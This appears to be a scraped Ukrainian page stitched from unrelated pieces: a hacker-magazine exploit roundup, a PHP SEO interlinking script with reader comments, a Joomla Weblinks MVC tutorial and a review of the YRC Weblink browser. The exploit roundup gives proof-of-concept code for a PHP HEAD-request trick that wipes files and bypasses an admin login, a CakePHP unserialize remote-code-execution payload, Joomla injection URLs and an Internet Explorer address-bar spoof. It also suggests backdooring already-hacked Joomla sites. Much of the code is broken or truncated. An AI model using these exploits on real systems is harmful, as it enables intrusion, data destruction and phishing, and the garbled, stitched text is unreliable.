Інтернет Windows Android

Вульгарний weblinks php. Хакі та доповнення

Цього місяця багокопачі не хочуть нас балувати новими гучними експлойтами в популярних додатках. Звичайно, опубліковано безліч advisory у продуктах відомих фірм, але дуже мала їх кількість містить зручні PoC-коди. У нашому огляді я постарався зібрати найзначніші та найповніші вразливості з описаних останнім часом, так що влаштовуйся зручніше та насолоджуйся читанням.

Вразливість PHP під час обробки HTTP Head-запитів

Brief

3 березня Адам Іванюк виявив цікаву особливість в інтерпретаторі PHP, який не зовсім коректно обробляє HEAD-запити. Цю вразливість дослідник назвав "HTTP HEAD method trick in php scripts".

Багато кодерів розробляють свої PHP-скрипти, сподіваючись, що всі записані в них інструкції успішно виконаються, не перервавшись десь посередині (особливо в коротких скриптах). Так і відбувається, якщо скрипт запитується кінцевим користувачем за допомогою методів GET, POST, PUT.

Але тобі має бути відомо, що існують інші HTTP-методи - наприклад, HEAD. Якраз при обробці цього методу в PHP і може виникнути дірка в безпеці.

Дивимося один із вихідників інтерпретатора: ./main/SAPI.c, лінія 315:

if (SG(request_info).request_method &&
!strcmp(SG(request_info).request_method, "HEAD"))
{
SG(request_info).headers_only = 1;
...

Коли надходять будь-які дані, виконується функція php_ub_body_write. Далі дивимося main/output.c, лінія 699:

if (SG (request_info).headers_only) (
if(SG(headers_sent))
{
return 0;
}
php_header(TSRMLS_C);
zend_bailout();
}

Тут видно, що при першому виведенні на екран і при використанні HEAD функція функція zend_bailout перериває роботу скрипта.

Exploit

$line="Nick: ".htmlspecialchars
($_POST["nick"])."

Text: ".htmlspecialchars
($_POST["text"])."


";
$f=fopen("book.txt","r");
$data=fread($f,fi lesize("book.txt"));
fclose($f);
$f=fopen("book.txt","w");
$data=$line.$data;
echo $data;
fwrite($f,$data);
fclose($f);
?>

Тепер давай звернемося до цього скрипту за допомогою методу HEAD:

stream_context_get_default
(array("http"=>array("method"=>"HEAD")));
print_r(get_headers("http://site.com/guestbook.php"));
?>

Як і слід було очікувати, наша гостьова книга зупинить своє виконання на рядку «echo $data;», таким чином файл book.txt просто обнулиться.
Цей приклад має деструктивний характер. У другому прикладі ми зможемо обійти авторизацію у примітивній адмінці:

session_start();
echo "A long string contains o 4090 characters";
$_SESSION["admin"]=1;
if (!isset($_POST["pass"]) ||
$_POST["pass"]!="somepassword")
{
echo " Wrong або empty password.
";
$_SESSION["admin_level"]=0;
}
?>

У цьому вся скрипті під час заходу звичайними методами встановлюється адміністративна змінна в сесії. Потім, якщо користувач ввів неправильний пароль, ця змінна обнулюється і користувач не стає адміном.

Якщо ми звернемося до адмінки через HEAD, її виконання перерветься на шматку коду з «echo», таким чином адміністративна змінна не обнулиться, і ми зможемо спокійно блукати закритою частиною програми. Тут треба врахувати, що у більшості веб-серверів значення буферизації виводу встановлено рівним 4096 байт, тож у робочому прикладі нам може знадобитися рядок 'A long string contains about 4090 characters'.

Exploit

  • PHP<= 5.3.5

Solution

На момент публікації огляду останньою версією PHP була версія 5.3.5. У ній немає жодних виправлень, що стосуються даного бага, так що можу лише порадити уважно переглянути вихідники своїх скриптів щодо непередбачених ситуацій при використанні методу HEAD.

Виконання довільного коду в CakePHP

Brief

CakePHP - це найвідоміший (більше 7 000 000 згадок у Гугле) програмний каркас для створення веб-додатків, написаний мовою PHP і побудований на принципах відкритого ПЗ. CakePHP реалізує патерн "Модель-Від-Контролер" (MVC).

Спочатку цей фреймворк створювався як клон популярного Ruby on Rails, багато ідей були запозичені саме звідти:

  • Своя файлова структура;
  • підтримка безлічі плагінів;
  • абстракція даних (PEAR::DB, ADOdb та власна розробка Cake);
  • підтримка багатьох СУБД (PostgreSQL, MySQL, SQLite, Oracle).

Не дивно, що на такий примітний програмний продукт звернено пильну увагу багатьох пентестерів. Не так давно людина під ніком felix знайшла в даному фреймворку цікавий баг, пов'язаний з чарівними методами та використанням функції unserialize (докладніше про цей клас уразливостей читай у минулорічних номерах журналу).

Для початку відкриваємо компонент./libs/controller/components/security.php та шукаємо наступний код, який відповідає за захист від XSRFатак за допомогою POST-запитів:

function _validatePost(&$controller)
{
...
$check = $controller->data;
$token = urldecode($check["_Token"]["fi elds"]);
if (strpos($token, ":")) (
list($token, $locked) = explode(":", $token, 2);
}
$locked = unserialize(str_rot13($locked));
...
?>

Тут масив $check містить наші POST-дані, а змінна $locked - це обфусцований за допомогою функції str_rot13() серіалізований рядок, який повністю знаходиться під нашим контролем.

На цьому місці варто зробити невеликий відступ для тих, хто не читав відповідні статті в ][, і коротко розповісти про бага, що виявляється у чарівних методи PHP. Отже, у PHP версії 5 з'явилася базова концепція ООПпрограмування: конструктор та деструктор. Конструктор реалізується за допомогою методу "__construct", а деструктор - за допомогою методу "__destruct". Після закінчення своєї роботи та при виклику через функцію unserialize() кожен об'єкт виконує свій власний __destruct-метод, якщо він прописаний у коді.

Тепер повернемося до нашого фреймворку та подивимося на деструктор App-класу з файлу./libs/configure.php:

function __destruct()
{
if ($this->__cache)
{
$core = App::core("cake");
unset($this->__paths);
Cache::write("dir_map", array_fi lter($this->__paths),
"cake_core");
Cache::write("fi le_map", array_fi lter($this->__map),
"cake_core");
Cache::write("object_map", $this->__objects,
"cake_core");
}
}

З наведеного коду можна зрозуміти, що даний методможе бути скомпрометований шляхом запису довільних значень об'єкт Cache. Найцікавіший ключ для злому – це 'file_map'. Він керує зв'язками між класами та відповідними PHP-файлами, а також використовується для підвантаження додаткових класів під час виконання скрипту.

Реальний код для завантаження класів виглядає трохи складніше, але все це зводиться до наступного коду методу __load всередині класу App:

...
if (fi le_exists($fi le)) (
if (!$this->return) (
require($fi le);
$this->__loaded[$fi le] = true;
}
return true;
...
?>

Бінґо! Шляхом підміни змінної $file ми зможемо проінклудити свій власний PHP-код! Причому це буде справжнісінький Remote File Inclusion баг - таким чином, нам не знадобляться ніякі додаткові хитрощі із завантаженням локальних файлів на сервер. Однак автор знайденої вразливості пропонує LFI-варіант експлуатації цієї дірки, тому що CakePHP використовує локальний кеш, що базується на файлах, який знаходиться в серіалізованій формі у відомій зломщику директорії.

Exploit

Як невеликий PoC для генерації отруйного серіалізованого рядка felix пропонує наступний код:

$x=new App();
$x->__cache=1;
$x->__map=array("Core" => array(
"Router" => "../tmp/cache/persistent/cake_core_fi le_map"),
"Foo" => "");
$x->__paths=array();
$x->__objects=array();
echo serialize($x);
?>

Звичайно, попередньо ти повинен проінклудити необхідні класи з CakePHP. Існує також повнофункціональний експлойт на Пітоні, знайти який ти зможеш за адресою malloc.im/burnedcake.py .

Цей сплойт повинен працювати в кожному додатку, побудованому на CakePHP, який використовує POST-форми з security-токенами, і в якому не змінено стандартне розташування файлів кешу. По дефолту експлойт виводить на екран конфіг бази даних, інші корисності легко додаються шляхом зміни вбудованого PHP-пейлоада.

Targets

  • CakePHP<= 1.3.5, CakePHP <= 1.2.8

Solution

Для виправлення описаної вразливості необхідно лише скачати останню версію гілки CakePHP, що використовується тобою, з сайту виробника cakephp.org.

Розкриття шляхів та потенційні SQL-ін'єкції у Joomla!

Brief

Джумла - це система управління вмістом, написана на мовах PHP і JavaScript і використовує базу даних MySQL як сховища. Є вільним програмним забезпеченням, яке розповсюджується під ліцензією GNU GPL.

Якщо ти не стикався у своїй хеккерській діяльності з Joomla!, то ти просто живеш на іншій планеті:). У цьому огляді я хочу розповісти відразу про дві потенційні SQL-ін'єкції в різних гілках Джумли, які залишилися непоміченими і нерозкрученими.

Отже, перша ін'єкція була виявлена ​​хлопцями YGN Ethical Hacker Group (yehg.net/lab) в движку версії 1.5.21.

Як пишуть самі ресерчери, потенційні SQL-ін'єкції були виявлені ними у Joomla! 1.5.20 у межах дослідження на XSS. Про ці баги негайно було повідомлено команді розробників двигуна, які незабаром випустили "пропатчену" версію 1.5.21. Слово «пропатчену» знаходиться в лапках, оскільки девелопери заплющили очі на більшу частину адвісори команди YEHG і сподівалися на те, що ці вразливості не повністю експлуатабельні, оскільки Joomla! має убудовані рядкові фільтри безпеки.

В результаті багокопатели розкрили подробиці експлуатації виявлених потенційних SQL-ін'єкцій широкому загалу, ніж ми, звичайно ж, скористаємося.
Отже, відкриваємо файл./components/com_weblinks/models/category.php та знаходимо в ньому наступний код:

function _buildQuery()
{
$fi lter_order = $this->getState("fi lter_order");
$fi lter_order_dir = $this->getState("fi lter_order_dir");
$fi lter_order = JFilterInput::clean($fi lter_order, "cmd");
$fi lter_order_dir =
JFilterInput::clean($fi lter_order_dir, "word");
// We need to get a list of all
// weblinks in the given category
$query = "SELECT *" .
"FROM #__weblinks" .
" WHERE catid = ". (int) $this->_id.
" AND published = 1" .
"AND archived = 0".
"ORDER BY". $fi lter_order ."".
$fi lter_order_dir .", ordering";
return $query;
}

Тут видно, що змінні $filter_order та $filter_order_dir не проходять перевірку на сувору відповідність операторам SQL, перевірка йде лише шляхом використання стандартного методу clean з класу JFilterInput:

...
case "WORD" :
$result = (string) preg_replace ("/[^A-Z_]/i", "", $source);
break;
...
case "CMD" :
$result = (string)
preg_replace("/[^A-Z0-9_.-]/i", "", $source);
$result = ltrim($result, ".");
break;
...

Таким чином, дефолтом ми отримуємо розкриття шляхів. Аналогічний баг у тих самих змінних зовсім недавно був виявлений і в першій версії движка з нової гілки 1.6.

Exploit

За дефолтом ми можемо скористатися лише розкриттям шляхів Joomla!<= 1.5.21:

  • /index.php?option=com_weblinks&view=category&id=2&fi lter_order_Dir=&fi lter_order=%00′
  • /index.php?option=com_weblinks&view=category&id=2&fi lter_order_Dir='&fi lter_order=asc

та в Joomla! 1.6.0:

  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order=yehg.net.AAAAAAAAAAAAAAAAAAAAAAAAAAAA,&fi lter_order_Dir=2&limit=3&limit
  • attacker.in/joomla160/index.php/using-joomla/extensions/components/content-component/article-category-list/?fi lter_order=1,&fi lter_order_Dir=yehg.net.BBBBBBBBBBB,&limit=3&limitstart=4

Однак багокопачі пропонують скористатися цими багами у вже похеканих інсталяціях Джумли в контексті протроянювання двигуна: тобі необхідно лише видалити фільтри JFilterInput::clean у змінних filter_order_Dir і filter_order, після чого можна необмежено користуватися модифікацією.

Також існує інформація, що деякі винахідливі люди все-таки змогли обійти ці горезвісні фільтри, але експлойт знаходиться в глибокому приваті.

Targets

  • Joomla!<= 1.5.21, Joomla! 1.6.0

Solution

Як завжди, не забуваємо оновлюватися з офіційного сайту розробника joomla.org. На момент написання огляду останніми версіями цієї CMS були 1.5.22 та 1.6.0 відповідно.

Підміна адресного рядка в Microsoft Internet Explorer

Brief

Насамкінець хочу розповісти про невеликий і вкрай забавний баг в ослику IE, який виявив хакер під ніком cyber flash. Даний баг дозволяє видаленому користувачеві зробити найпростішу спуфінг-атаку.

Уразливість існує через помилку під час оновлення панелі адресного рядка спливаючого вікна. Видалений користувач може за допомогою спеціально сформованої веб-сторінки змусити браузер відображати лише певну частину адреси в рядку адреси.

Exploit

Як приклад із заміною адресного рядка сам автор пропонує наступний PoC HTML-код:


content="text/html; charset=windows-1252">

Spoof



Click anywhere on this page!



Також cyber flash надає нам для тестів вже готову сторінку з PoC-кодом на keyloggeronline.com/misc/temp/about.htm.

Зайшовши на цю сторінку, ми побачимо напис із посиланням, яке запрошує нас перейти на сайт bing.com. Натиснувши на посилання, ми побачимо спливаюче вікно, в адресному рядку якого буде значитися цей Бінг. Нижче буде ще одне посилання, що закликає завантажити новий Internet Explorer (причому, навівши курсор на «Download», ми не побачимо нічого підозрілого, хоча там знаходиться не нова версія браузера, а програма-псевдотроян від Сайбер Флеша).
Таким чином, зловмисник легко зможе підсунути користувачеві Ослика зловмисний файл.

Targets

  • MS Internet Explorer 7, 8, 9

Solution

На даний момент дрібном'які все ще не виправили описану вразливість, так що, якщо ти використовуєш IE, в якості тимчасової міри раджу бути уважнішою з незнайомими вікнами, що спливають.

Продовжую ділитися з вами маленькими, але дуже корисними скриптами для сайту, які допомагають покращити ставлення пошукових систем до вашого сайту. Цього разу мова піде про грамотну перелінковку сторінок.

Для початку створимо базу адрес сторінок і можливі анкори до кожного з них. Як база будемо використовувати файл формату *.txt. Структура файлу буде такою:

Адреса_сторінки_1;анкор_1,анкор_2,анкор_3,...,анкор_n адреса_сторінки_2;анкор_1,анкор_2,анкор_3,...,анкор_n адреса_сторінки_3;анкор_1,анкор_2,анкор_3,...,анкор_n ... адреса_сторінки_n;анкор_1,анкор_2, ...,анкор_n

Як бачите, подальше використання скрипта можливе за будь-якої кількості адрес сторінок і анкорів до них. Адреса сторінки пишеться без http://www.site.ru/, тобто. відразу від кореня без першого слеша. Адреса розлучається від анкорів через крапку з комою, а анкори між собою просто комою. Можна зробити і написання повної адреси, просто особисто мені так зручніше, а змінити під себе заповнення та видачу результату ви можете і самі, гадаю, ви інтуїтивно і самі розберетеся.

І так, база посилань та анкорів до них створена, далі я наведу приклад PHP коду для безпосереднього виведення посилань для перелінкування на сайті:

".$tex2[$tex3].""; } ?>

Вставляємо цей код у будь-яке місце на сайті, який виводить 5 випадкових посилань з бази та випадковим анкором. Анкори краще розбавляти, а не писати лише 1 до посилання. При грамотній перелінковці на сайті ви негайно побачите приріст трафіку та покращення інших показників сайту.

Чекаю на ваші запитання в коментарях до цієї посади.

Дата публікації: 03 березня, 2014
    Відгуки та коментарі:

    Дмитро:
    Дякую за скрипт, буду впроваджувати. З вихідного кодуз сайту неможливо скопіювати, копіюється лише маленькими уривками, було б зручніше цілком.

    Кирило:
    Дякую за зауваження з копіюванням, тільки зараз це побачив, намагатимусь найближчим часом виправити.

    Олексій Павлов:
    Помилка в рядку $tex = explode(":",$sendlist[$count] Потрібна точка з комою, а не двокрапка. Я трохи змінив код, зробив його зрозумілішим:$anchor"; } ?>

    Matrk:
    Стаття цілком марна, т.к. на блозі стоїть захист від копіювання тексту.

    Кирило:
    Невеликий одвірок є в js, це так, немає часу поправити, але напевно дехто інший марний, якщо розуму не вистачає в такому разі вихідний код сторінки глянути і взяти від туди

    Matrk:
    Тобто. я маю ще за вихідним кодом лазити і чистити його від всякого сміття? Ви кумедний.

    Кирило:
    Виходить я комусь щось винен? Я у вас що, гроші взяв, стараєшся тут, безкоштовні поради даєш:))) Безкоштовний сир тільки в мишоловці, з віком зрозумієте.

    Кирило:
    Прибрав одвірок, користуйтеся на здоров'я.

    Андрій Копаєв:
    1 - напевно краще це робити з використанням бази даних mysql працювати буде швидше, додавати простіше 2 - не зрозумію який сенс щоразу генерувати список посилань? як це впливає зростання трафіку? можна підвантажувати аяксом, тобто. це для людей чи для ботів?

    www.сайт:
    Для просування, хоча, особисто я не прихильник подібних маніпуляцій із ПС.

Точка входу до Joomla! компонент подібна до більшості компонентів. Для цього прикладу ми будемо використовувати один із компонентів ядра Joomla – Web Links (Посилання на сайти). Перший файл, який буде виконано у front-end: …/components/com_weblinks/weblinks.php.

Спочатку ми бачимо перевірку безпеки, призначену для впевненості, що ніхто не зможе викликати цю сторінку безпосередньо. Це стандарт, який має використовуватись у всіх ваших php-файлах (хоча є кілька винятків):

Ми перевіряємо рядок запиту, щоб переглянути, чи надіслано певну назву контролера. Якщо так, ми запевняємось, що можемо завантажити необхідний файл у каталозі контролерів:

// Require specific controller if requested if ($controller = JRequest:: getWord ("controller" ) ) ( $path = JPATH_COMPONENT. DS. "controllers" . DS. $controller . ".php" ; if (file_exists ($path ) ) ) ( require_once $path ; ) else ( $controller = "" ; ) )

Тепер ми створюємо екземпляр класу нашого контролера, використовуючи ім'я, яке визначили вище:

Як тільки завдання виконано, виробляємо редирект, якщо він потрібний:

// Redirect if set by the controller$controller -> redirect ();

Клас контролера (Controller Class)

Загальний (характерний) контролер компонента посилань знаходиться тут: …/components/com_weblinks/controller.php.
Весь цей клас визначає метод display, який використовується за умовчанням, якщо користувач не визначає інше завдання (Task).

defined ("_JEXEC") or die ("Restricted access"); jimport( "joomla.application.component.controller") ; /** * Weblinks Component Controller * * @package Joomla * @subpackage Weblinks * @since 1.5 */ class WeblinksController extends JController ( /** * Method to show a weblinks view * * @access public * @since 1.5 */ function display() ( // Set a default view if none exists if (! JRequest:: getCmd ("view")) ( JRequest:: setVar ("view", "categories");) //update hit count for weblink if (JRequest:: getCmd ("view" ) == "weblink" ) ( $model =& $this -> getModel ("weblink" ) ; $model -> hit () ; ) // View caching logic - simple... are we logged in?$user = & JFactory:: getUser() ; $view = JRequest:: getVar ("view"); $viewcache = JRequest:: getVar ("viewcache", "1", "POST", "INT"); if ($user -> get ("id") || ($view == "category" && $viewcache == 0 ) ) ( parent:: display (false ) ; ) else ( parent:: display (true ) ; ) ) )

У цьому методі ми встановлюємо вид (подання) за промовчанням: показ категорій, якщо інший вид не було передано як параметр рядка запиту. Якщо необхідний вид - weblink, ми збільшуємо значення лічильника перегляду посилання. Потім ми встановлюємо значення змінної вигляду та викликаємо метод diplay нашого батьківського класу JController.
Варто звернути увагу на виклик методу getModel. Він завантажує необхідну модель для компонента. У цьому прикладі, цей метод завантажить модель weblink, що знаходиться тут: …/components/com_weblinks/models/weblink.php.
Тут умовимося, що ми не вимагали певного уявлення, і тому наш вид буде встановлений у categories.
Потім ми відкриваємо клас уявлення.

Клас представлення (виду) (View Class)

Так як ми припускаємо, що хочемо представлення категорій, це наступний файл, який буде виконаний: …/components/com_weblinks/views/categories/view.html.php

// Check to ensure цей файл included в Joomla! defined ( "_JEXEC") or die ( "Restricted access"); jimport( "joomla.application.component.view") ; /** * HTML View class for the WebLinks component * * @static * @package Joomla * @subpackage Weblinks * @since 1.0 */ class WeblinksViewCategories extends JView ( function display( $tpl = null ) ( global $mainframe ; $document =& JFactory:: getDocument () ; $categories =& $this -> get ("data" ) ; $total =& $this -> get ("total"); $state =& $this -> get ("state"); // Get the page/component configuration$params = & $mainframe -> getParams(); $menus = & JSite:: getMenu (); $menu = $menus -> getActive(); // because the application sets a default page title, we need to get it // right from the menu item itself if (is_object ( $menu ) ) ( $menu_params = new JParameter( $menu -> params ) ; if (! $menu_params -> get ( "page_title" ) ) ( $params -> set ("page_title" , JText:: _( "Web Links" ) ) ; ) ) else ( $params -> set ("page_title" , JText:: _( "Web Links" ) ) ; ) ) $document -> setTitle ( $params -> get ( "page_title ")); // Set some defaults if not set for params$params -> def ("comp_description" , JText:: _("WEBLINKS_DESC" ) ) ; // Define image tag attributes if ($params -> get ("image") != - 1 ) ( if ($params -> get ("image_align" ) != "" ) $attribs [ "align" ] = $params -> get (" image_align"); else $attribs ["align"] = ""; $attribs ["hspace"] = 6; // Use the static HTML library to build the image tag$image = JHTML:: _("image" , "images/stories/" . $params -> get ("image" ) , JText:: _("Web Links" ) , $attribs ) ; ) for ($i = 0; $i< count ($categories ) ; $i ++ ) { $category =& $categories [ $i ] ; $category ->link = JRoute:: _( "index.php?option=com_weblinks&view=category&id=". $category -> slug); // Prepare category description$category -> description = JHTML:: _("content.prepare" , $category -> description ) ; ) $this -> assignRef ("image", $image); $this -> assignRef ("params", $params); $this -> assignRef ("categories", $categories); parent:: display ($tpl ); ) ) ?>

І знову, це дуже простий клас з одним методом display. Більшість логіки тут є специфічною для компонента посилань, але якщо придивитися можна знайти функціональність використовувану у більшості класів уявлень компонентів. Наприкінці методу display цей клас викликає батьківський (JView) метод display, надаючи назву шаблону для відображення. Якщо назва шаблону відображення не надсилається, використовується шаблон default.
І в останніх ми відкриваємо клас шаблону.

Клас шаблону (Template Class)

Умовимося, що певне ім'я шаблону не було передано, таким чином буде використаний шаблон за уточненням «default». У цьому випадку наступний файл, який буде розглянуто: …/components/com_weblinks/views/categories/tmpl/default.php
-> escape ($this -> params -> get ("page_title")); ?>

params -> def ("image", - 1)! = - 1) | $this -> params -> def ("show_comp_description" , 1 ) ) : ?>
image ) ) : echo $this -> image ; endif; echo $this -> params -> get ("comp_description"); ?>
    categories as $category ) : ?>
  • escape ($ category -> title); ?> (numlinks; ?> )

Більшість логіки тут специфічна для виконуваного компонента. Також за кодом видно, що в цьому файлі весь HTML, змішаний з PHP – такі його особливості про призначення.

Інші файли, які використовуються в компонентах

Декілька з інших типів файлів можна знайти в компонентах:

  • Helpers - у компонентах найчастіше використовується файл helper.php або каталог helpers з багатьма файлами. Ці файли зазвичай містять лише загальні функціональні можливості компонента.
  • Assets - це, здається, всеосяжна папка для інших файлів, що включаються до компоненту.
  • router.php - цей файл використовується, при включеному налаштуванні SEF URL, для трансляції URL в обох напрямках (в людино-зрозумілий з псевдонімами та в системний вигляд Joomla з параметрами).
  • xml-файли - вони зазвичай визначають параметри та іншу інформацію про компонент, та його огляд. Вони використовуються, наприклад, для створення пунктів меню компонента.
  • index.html - хороша практика мати порожній index.html файл у всіх ваших каталогах. Це такий пасивний захід безпеки.
  • css/images/js — папки, які містять різноманітні файли для впровадження дизайну та функціональності на стороні клієнта (у браузері).

Розглянемо компоненти з того, як базовий компонент Weblinks діє в адміністративній частині веб-сайту. Цей компонент, типовий для цієї частини веб-сайту, дуже схожий на інші її компоненти, призначені для керування статтями, користувачами, модулями тощо.

Нижче наведено програмні файли цього компонента. Всі ці файли знаходяться у папці administator/components/com_weblinks. В решті цього розділу імена всіх файлів компонента Weblinks згадуються щодо цієї початкової папки, якщо не вказано інше. Більшість файлів організовано за шаблоном MVC. Зокрема, всі файли уявлень знаходяться в підпапці уявлень, а всі основні файли моделей та контролерів - у підпапках моделей та контролерів відповідно. Їх також доповнюють інсталяційні, конфігураційні та допоміжні файли.

Файли адміністративної частини компонентаWeblinks, крім файлів index.html

  • controllers/weblink.php - Основний контролер для редагування Контролер одиночної веб-посилання
  • controllers/weblinks.php - Основний контролер для складання Контролер та відображення списку веб-посилань на екрані Weblinks Manager (Диспетчер веб-посилань)
  • helpers/weblinks.php - Надає різні методи, що застосовуються в контролерах та уявленнях
  • models/fields/ordering.php - Модель JformField відображення стовпця упорядкування веб-посилань на екрані Weblinks Manager
  • models/forms/weblink.xml - XML-файл, що використовується в класі Jform-Модель Field, для розмітки форми з полями введення та редагування веб-посилань на екрані
  • models/weblink.php - Модель для екранної форми одиночної Модель веб-посилання
  • models/weblinks.php - Модель для екранної форми диспетчера Модель веб-посилань
  • sql/install.mysql.utf8.sql - SQL-файл для складання таблиці веб-посилань під час встановлення
  • sql/uninstall.mysql.ut8.sql - SQL-файл для видалення таблиці веб-посилань під час установки
  • tables/weblink.php - Надає клас Модель
  • views/weblink/tmpl/edit_metadata.php - Файл вихідного компонування для редагування метаданих веб-посилання

Адміністративна частина компонента Weblinks

  • views/weblink/tmpl/edit_params.php - Файл вихідного компонування для редагування варіантів вибору одиночної веб-посилання
  • views/weblink/tmpl/edit.php - Файл вихідного компонування для редагування веб-посилання
  • views/view.html.php - Клас основного уявлення для виведення одиночного веб-посилання у форматі HTML Файл вихідної компонування для диспетчера веб-посилань
  • views/weblinks/view.html.php - Клас основного уявлення для виведення веб-посилань у форматі HTML безпосередньо на екрані Weblinks Manager
  • access.xml - XML-файл, що надає список дій для системи списків контролю доступу (ACL)
  • config.xml - XML-файл, що надає список варіантів вибору конфігурації компонента
  • controller.php - Клас основного контролера
  • weblinks.php - Точка входу для запиту
  • weblinks.xml - XML-файл, який використовується для керування процесом встановлення

Браузер YRC Weblink створений та поширюється індійською софтверною компанією YRC Group Inc. І тому як домашня сторінка за умовчанням стоїть індійський Google:))

Індійські програмісти вважаються одними з найкрутіших у світі (після російських та китайських), але з цим браузером у них щось не залагодилося, бо це просто свято якесь, а не браузер. Ідеї, які вони постаралися втілити в цьому браузері - прекрасні, але сама реалізація дуже погана. Браузер працює "через пень-колоду", тобто дивно та погано. Спробував його на двох різних комп'ютерах – під Windows 7 та під Windows 8 – і там і там глюки та зависання.

Втім, ходімо по порядку.

Після встановлення браузер пропонує вибрати деякі налаштування (як, наприклад, видно на скріншоті вище), а також створити обліковий запис для хмарної синхронізації та зберігання налаштувань, закладок, нотаток і файлів.

Прекрасна ідея! Жму посилання Sign Up, що означає "Зареєструватися", відкривається сайт з веселенькими картинками, але відкривається він чомусь не в YRC Weblink, а в браузері, який стоїть на комп'ютері за умовчанням і це перша дивина. Інша дивина полягає в тому, що потрібно вводити чимало своїх даних – навіщо? Наприклад, у браузері Maxthon для реєстрації у хмарі потрібно ввести лише email та пароль, що набагато простіше, приємніше і не викликає зайвих питань.

Гаразд, вводжу ці дані. Приходить лист для підтвердження облікового запису, тисну на посилання, проте сайт повідомляє мені "Oops! - не знаходжу твоїх даних у базі". Але тут приходить ще один лист із новим посиланням, тисну на посилання в ньому і знову – Oops! Однак, у процесі цих упсів приходить третій лист і там написано – вітаємо, ваш обліковий запис підтверджений! Така своєрідна індійська верифікація акаунту.

Відкриваю браузер, налаштування, намагаюся імпортувати закладки. Браузер впритул не бачить закладного файлу формату.html, який усі відомі мені браузери бачать, розуміють та приймають без проблем. Вводжу назву файлу вручну, тисну Імпортувати та отримую звіт – закладки успішно імпортовані!

Ось тільки куди вони успішно імпортовані? Ні в браузері, ні в хмарі їх нема. Повторюю операцію ще раз і той самий результат. Гаразд проїхали. Рухаємось далі.

У хмарі та налаштуваннях є пункт Нотатки. Пам'ятаючи про нотатки в браузері Maxthon, які можна створювати за допомогою вбудованого блокнота і які автоматично зберігаються у хмарі, намагаюся знайти щось подібне до YRC Weblink, на жаль, безрезультатно. Перегляд нотаток є, а інструмента для їх створення немає. Дивно? Ще й як!

Ну ок. Дивимося, що маємо ще. При інсталяції браузер самостійно (без попиту) встановив на робочий стіл два ярлики – ярлик браузера (це нормально) та ярлик Твіттера.

При натисканні цього ярлика відкривається окреме вікно браузера з Твіттером. Якого біса це робити та ще за замовчуванням? Може, я взагалі не користуюсь Твіттером? Гаразд, ярлик Твіттера з робочого столу видалив, але не було! Тепер, при натисканні на ярлик браузера (а не твіттера), у панелі завдань браузер висвічується Твіттером! Такого святкового глюку я ще у житті не зустрічав!

До речі, про ці три вікна, які ви бачите на скріншоті вище. Вікно налаштувань Summary зависає через один раз. Причому так, що вирубати його можна лише відключенням процесу в Диспетчері завдань, інакше – ніяк. А закрити вікно синхронізації можна лише шляхом розлогінування в системі.

Якщо натиснути на "Ні", вікно постійно висітиме відкритим. При тому, що сам браузер, навпаки, іноді мимоволі вимикається. І що смішно: браузер вимикається, а вікно Summary, що зависло, і відкрите вікно Синхронізації - ні, так і висять вони безхазяйні, кинуті браузером, поки не вирубаєш їх в Диспетчері завдань. Феєричні глюки!

Втім, не правильно було б не перерахувати і позитивні сторони браузера.

По-перше, це режим анонімного серфінгу. Вмикаєте в налаштуваннях цей режим і браузер не використовує кеш, кукі, не записує історію відвідувань. Є браузери, які працюють тільки в такому режимі, наприклад, Browzar, що іноді необхідно, але в цілому дуже незручно. І можливість швидкого підключення-відключення такого режиму – великий плюс браузеру.

По-друге, у YRC Weblink є можливість вибору пошукової системи за умовчанням. Вибирати, щоправда, доводиться із досить специфічного списку:

Однак адресу пошукової машини можна задати і вручну, натиснувши на копку Define New (на скріншоті її не видно, вона під списком).

Ну і останній, але дуже вагомий плюс. YRC Weblink майже не вантажить систему! Для порівняння відкрив у ньому 10 вкладок та 10 вкладок з тими самими адресами відкрив у Яндекс-браузері (лідері серед браузерів із завантаження системи) і ось яка картина вийшла.

Яндекс-браузер:

Не важко здогадатися, що YRC Weblink у цьому сенсі практично поза конкуренцією, у хорошому сенсі.


РЕЗЮМЕ. Якби всі задуми, які творці намагалися впровадити в цьому браузері, були зроблені як треба, ціни йому не було б, YRC Weblink міг би претендувати на звання кращого або, як мінімум, одного з кращих браузерів. Але з тими недоробками, які у ньому спостерігаються, він навіть на "трійку" не тягне. Ставлю йому оцінку 3- .

Після тестування, браузер деінсталюю - мати на комп'ютері таку глючну програму зовсім ні до чого. Ну і чекаємо на подальші кроки від YRC Group Inc. Зуміють індійські програмісти усунути всі недоробки та випустити справді робочу версію браузера, честь їм і хвала. Не зможуть - ще одним мертвонародженим браузером у світі буде більше.